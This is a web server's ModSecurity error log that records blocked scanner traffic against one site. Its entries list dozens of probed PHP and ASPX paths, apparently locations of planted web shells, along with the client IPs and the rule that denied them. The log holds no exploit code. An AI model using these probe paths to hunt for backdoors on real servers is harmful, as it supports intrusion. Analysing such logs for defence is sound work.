[Mon Apr 27 05:30:04.170806 2026] [:error] [pid 22645:tid 22666] [client 147.135.128.94:52302] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ae6D3H-Pq2r302zQbMabJQAAAAs"]
[Mon Apr 27 05:30:06.141339 2026] [:error] [pid 22645:tid 22660] [client 147.135.128.94:52312] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ae6D3n-Pq2r302zQbMabMAAAAAU"]
[Mon Apr 27 05:30:08.124614 2026] [:error] [pid 22645:tid 22664] [client 147.135.128.94:50300] [client 147.135.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ae6D4H-Pq2r302zQbMabNgAAAAk"]
[Mon Apr 27 06:41:45.133860 2026] [:error] [pid 22646:tid 22686] [client 43.153.135.208:40830] [client 43.153.135.208] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae6UqYk_HyZhTP6AYaeojAAAAEM"]
[Mon Apr 27 07:07:49.964107 2026] [:error] [pid 36789:tid 36807] [client 209.38.84.143:38622] [client 209.38.84.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/wp-admin/install.php"] [unique_id "ae6axdnrZBzXPaJGSeLWpgAAANA"]
[Mon Apr 27 07:34:37.314732 2026] [:error] [pid 36789:tid 36791] [client 20.111.17.80:40012] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "ae6hDdnrZBzXPaJGSeLpQAAAAMA"]
[Mon Apr 27 07:34:39.602202 2026] [:error] [pid 36789:tid 36807] [client 20.111.17.80:53345] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "ae6hD9nrZBzXPaJGSeLpTQAAANA"]
[Mon Apr 27 07:34:41.831073 2026] [:error] [pid 36575:tid 36595] [client 20.111.17.80:7335] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "ae6hEbeGZIkifrMjcl9OPwAAARI"]
[Mon Apr 27 07:34:43.500834 2026] [:error] [pid 36575:tid 36586] [client 20.111.17.80:8101] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/elp.php"] [unique_id "ae6hE7eGZIkifrMjcl9ORwAAAQk"]
[Mon Apr 27 07:34:44.801579 2026] [:error] [pid 36789:tid 36804] [client 20.111.17.80:7257] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "ae6hFNnrZBzXPaJGSeLpXgAAAM0"]
[Mon Apr 27 07:34:45.753297 2026] [:error] [pid 36789:tid 36801] [client 20.111.17.80:48332] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "ae6hFdnrZBzXPaJGSeLpZQAAAMo"]
[Mon Apr 27 07:34:47.145693 2026] [:error] [pid 36488:tid 36506] [client 20.111.17.80:7234] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "ae6hF8IA2VZgjxmwXxP5kQAAAA0"]
[Mon Apr 27 07:34:48.290137 2026] [:error] [pid 36489:tid 36540] [client 20.111.17.80:55580] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-243.php"] [unique_id "ae6hGI6sRkW8OfGv18q2pQAAAFM"]
[Mon Apr 27 07:34:49.732659 2026] [:error] [pid 36575:tid 36596] [client 20.111.17.80:53950] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "ae6hGbeGZIkifrMjcl9OVgAAARM"]
[Mon Apr 27 07:34:50.821133 2026] [:error] [pid 36488:tid 36510] [client 20.111.17.80:47819] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "ae6hGsIA2VZgjxmwXxP5nQAAABE"]
[Mon Apr 27 07:34:51.642435 2026] [:error] [pid 36789:tid 36792] [client 20.111.17.80:47839] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "ae6hG9nrZBzXPaJGSeLpcAAAAME"]
[Mon Apr 27 07:34:52.580009 2026] [:error] [pid 36488:tid 36502] [client 20.111.17.80:43141] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "ae6hHMIA2VZgjxmwXxP5nwAAAAk"]
[Mon Apr 27 07:34:54.186885 2026] [:error] [pid 36789:tid 36809] [client 20.111.17.80:8122] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "ae6hHtnrZBzXPaJGSeLpewAAANI"]
[Mon Apr 27 07:34:56.463993 2026] [:error] [pid 36488:tid 36494] [client 20.111.17.80:39266] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "ae6hIMIA2VZgjxmwXxP5pQAAAAI"]
[Mon Apr 27 07:34:58.708514 2026] [:error] [pid 36789:tid 36797] [client 20.111.17.80:62434] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "ae6hItnrZBzXPaJGSeLpggAAAMY"]
[Mon Apr 27 07:35:00.295138 2026] [:error] [pid 36789:tid 36810] [client 20.111.17.80:55559] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "ae6hJNnrZBzXPaJGSeLphwAAANM"]
[Mon Apr 27 07:35:02.097999 2026] [:error] [pid 36789:tid 36798] [client 20.111.17.80:47841] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6hJtnrZBzXPaJGSeLpjgAAAMc"]
[Mon Apr 27 07:35:03.697112 2026] [:error] [pid 36575:tid 36588] [client 20.111.17.80:37108] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6hJ7eGZIkifrMjcl9OXwAAAQs"]
[Mon Apr 27 07:35:05.073825 2026] [:error] [pid 36489:tid 36524] [client 20.111.17.80:43681] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6hKY6sRkW8OfGv18q2xAAAAEM"]
[Mon Apr 27 07:35:06.368527 2026] [:error] [pid 36575:tid 36579] [client 20.111.17.80:45175] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "ae6hKreGZIkifrMjcl9OawAAAQI"]
[Mon Apr 27 07:35:07.564794 2026] [:error] [pid 36789:tid 36809] [client 20.111.17.80:55572] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "ae6hK9nrZBzXPaJGSeLpmgAAANI"]
[Mon Apr 27 07:35:09.096033 2026] [:error] [pid 36575:tid 36577] [client 20.111.17.80:39261] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "ae6hLbeGZIkifrMjcl9OdwAAAQA"]
[Mon Apr 27 07:35:10.919932 2026] [:error] [pid 36575:tid 36578] [client 20.111.17.80:37079] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "ae6hLreGZIkifrMjcl9OfAAAAQE"]
[Mon Apr 27 07:35:12.355348 2026] [:error] [pid 36575:tid 36595] [client 20.111.17.80:43155] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "ae6hMLeGZIkifrMjcl9OhAAAARI"]
[Mon Apr 27 07:35:14.228061 2026] [:error] [pid 36488:tid 36499] [client 20.111.17.80:45660] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae6hMsIA2VZgjxmwXxP53QAAAAY"]
[Mon Apr 27 07:35:16.305022 2026] [:error] [pid 36488:tid 36497] [client 20.111.17.80:7899] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae6hNMIA2VZgjxmwXxP53wAAAAQ"]
[Mon Apr 27 07:35:20.910757 2026] [:error] [pid 36789:tid 36801] [client 20.111.17.80:45132] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae6hONnrZBzXPaJGSeLpxwAAAMo"]
[Mon Apr 27 07:35:25.614013 2026] [:error] [pid 36488:tid 36493] [client 20.111.17.80:63885] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "ae6hPcIA2VZgjxmwXxP55QAAAAE"]
[Mon Apr 27 07:35:28.178063 2026] [:error] [pid 36789:tid 36807] [client 20.111.17.80:44630] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ae6hQNnrZBzXPaJGSeLp3AAAANA"]
[Mon Apr 27 07:35:30.177179 2026] [:error] [pid 36575:tid 36597] [client 20.111.17.80:63872] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ae6hQreGZIkifrMjcl9OqQAAARQ"]
[Mon Apr 27 07:35:31.791692 2026] [:error] [pid 36490:tid 36557] [client 20.111.17.80:44627] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ae6hQ0xiWa1s9LPhuWK1pgAAAIk"]
[Mon Apr 27 07:35:34.881607 2026] [:error] [pid 36789:tid 36810] [client 20.111.17.80:48906] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "ae6hRtnrZBzXPaJGSeLp4wAAANM"]
[Mon Apr 27 07:35:57.739001 2026] [:error] [pid 36488:tid 36502] [client 20.111.17.80:54869] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6hXcIA2VZgjxmwXxP6JQAAAAk"]
[Mon Apr 27 07:36:01.395232 2026] [:error] [pid 36575:tid 36583] [client 20.111.17.80:38698] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6hYbeGZIkifrMjcl9OywAAAQY"]
[Mon Apr 27 07:36:05.870249 2026] [:error] [pid 36789:tid 36799] [client 20.111.17.80:7832] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6hZdnrZBzXPaJGSeLqAgAAAMg"]
[Mon Apr 27 07:36:09.236615 2026] [:error] [pid 36490:tid 36568] [client 20.111.17.80:39676] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ae6haUxiWa1s9LPhuWK1xwAAAJQ"]
[Mon Apr 27 07:36:14.875450 2026] [:error] [pid 36490:tid 36549] [client 20.111.17.80:7860] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bfil.php"] [unique_id "ae6hbkxiWa1s9LPhuWK1zQAAAIE"]
[Mon Apr 27 07:36:18.987899 2026] [:error] [pid 36490:tid 36572] [client 20.111.17.80:42572] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bfil.php"] [unique_id "ae6hckxiWa1s9LPhuWK14QAAAJg"]
[Mon Apr 27 07:36:21.523958 2026] [:error] [pid 36489:tid 36542] [client 20.111.17.80:37529] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bfil.php"] [unique_id "ae6hdY6sRkW8OfGv18q3JgAAAFU"]
[Mon Apr 27 07:36:27.567445 2026] [:error] [pid 36488:tid 36510] [client 20.111.17.80:55595] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "ae6he8IA2VZgjxmwXxP6QgAAABE"]
[Mon Apr 27 07:36:29.726704 2026] [:error] [pid 36489:tid 36533] [client 20.111.17.80:53903] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "ae6hfY6sRkW8OfGv18q3MQAAAEw"]
[Mon Apr 27 07:36:33.023664 2026] [:error] [pid 36789:tid 36794] [client 20.111.17.80:53933] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "ae6hgdnrZBzXPaJGSeLqNAAAAMM"]
[Mon Apr 27 07:36:35.149180 2026] [:error] [pid 36488:tid 36509] [client 20.111.17.80:43671] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abrand.php"] [unique_id "ae6hg8IA2VZgjxmwXxP6TgAAABA"]
[Mon Apr 27 07:36:37.719084 2026] [:error] [pid 36575:tid 36599] [client 20.111.17.80:51243] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ae6hhbeGZIkifrMjcl9PCwAAARY"]
[Mon Apr 27 07:36:43.526436 2026] [:error] [pid 36575:tid 36595] [client 20.111.17.80:7263] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ae6hi7eGZIkifrMjcl9PEgAAARI"]
[Mon Apr 27 07:36:46.100156 2026] [:error] [pid 36488:tid 36503] [client 20.111.17.80:7251] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ae6hjsIA2VZgjxmwXxP6VQAAAAo"]
[Mon Apr 27 07:36:48.758975 2026] [:error] [pid 36489:tid 36538] [client 20.111.17.80:55564] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "ae6hkI6sRkW8OfGv18q3QAAAAFE"]
[Mon Apr 27 07:36:50.729612 2026] [:error] [pid 36490:tid 36552] [client 20.111.17.80:7280] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amwxl.php"] [unique_id "ae6hkkxiWa1s9LPhuWK2hwAAAIQ"]
[Mon Apr 27 07:36:53.391515 2026] [:error] [pid 36575:tid 36577] [client 20.111.17.80:43663] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amwxl.php"] [unique_id "ae6hlbeGZIkifrMjcl9PIQAAAQA"]
[Mon Apr 27 07:37:14.650222 2026] [:error] [pid 36789:tid 36797] [client 20.111.17.80:53893] [client 20.111.17.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ae6hqtnrZBzXPaJGSeLqnwAAAMY"]
